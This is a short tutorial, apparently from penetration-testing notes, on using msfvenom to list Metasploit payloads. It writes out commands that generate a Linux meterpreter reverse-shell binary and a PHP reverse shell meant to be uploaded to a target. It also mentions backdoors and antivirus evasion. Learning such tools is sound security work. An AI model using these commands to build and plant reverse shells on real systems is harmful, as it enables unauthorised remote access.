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Msfvenom is an utility software which comes with metasploit and it can be used as a payload generator to be used for the following purposes:

  • Payload Encoder
  • Assistant in Exploit Generation
  • Trojan Backdoors
  • Generation of web shells

It also has an option to help with antivirus evasion (although quite limited).

Let's see how to use it, we can basically use the --list option to show the available options for the following elements: payloads formats encoders archs (architectures) * platforms

msfvenom --list  payloads | grep meterpreter # shows all the meterpreter payloads

Once we select a payload, we can check what options are available for that payload with:

msfvenom --payload linux/x64/meterpreter/reverse_tcp  --list-options

Notice that in older versions of metasploit instead of --list-options we had to use --payload-options.

We can check what format we have available to generate our payload:

msfvenom --list formats
msfvenom --list platforms

Once we see a format and platform that we need/like we can do:

msfvenom --payload linux/x64/meterpreter/reverse_tcp lhost= lport=4444 --format elf -o out_filename

Let's see now how to generate a php reverse shell:

msfvenom --list payloads | grep php
msfvenom --payload php/meterpreter/reverse_tcp lhost= lport=5555 -o php_rev_shell

In order to execute this script we should find a way to upload it and get back a connection which can be handled by our multi-handler.

Notice that with msfvenom it may be useful to use sometimes --smallest to generate a very small payload.